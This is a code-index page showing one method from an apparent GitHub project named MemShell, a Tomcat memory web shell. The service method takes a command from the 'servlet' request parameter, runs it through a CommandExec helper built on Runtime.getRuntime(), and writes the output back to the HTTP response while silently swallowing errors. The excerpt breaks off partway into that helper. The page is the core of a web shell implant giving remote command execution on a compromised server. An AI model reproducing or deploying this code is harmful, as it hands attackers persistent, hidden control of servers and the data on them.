MCPcopy Create free account
hub / github.com/ax1sX/MemShell / service

Method service

TomcatMemShell/src/main/java/com/axisx/MyServlet.java:19–30  ·  view source on GitHub ↗
(ServletRequest servletRequest, ServletResponse servletResponse)

Source from the content-addressed store, hash-verified

17 }
18
19 public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
20 HttpServletRequest req = (HttpServletRequest)servletRequest;
21 HttpServletResponse resp = (HttpServletResponse)servletResponse;
22 String cmd = req.getParameter("servlet");
23
24 try {
25 String result = this.CommandExec(cmd);
26 resp.getWriter().println(result);
27 } catch (Exception var7) {
28 }
29
30 }
31
32 public String CommandExec(String cmd) throws Exception {
33 Runtime rt = Runtime.getRuntime();

Callers

nothing calls this directly

Calls 1

CommandExecMethod · 0.95

Tested by

no test coverage detected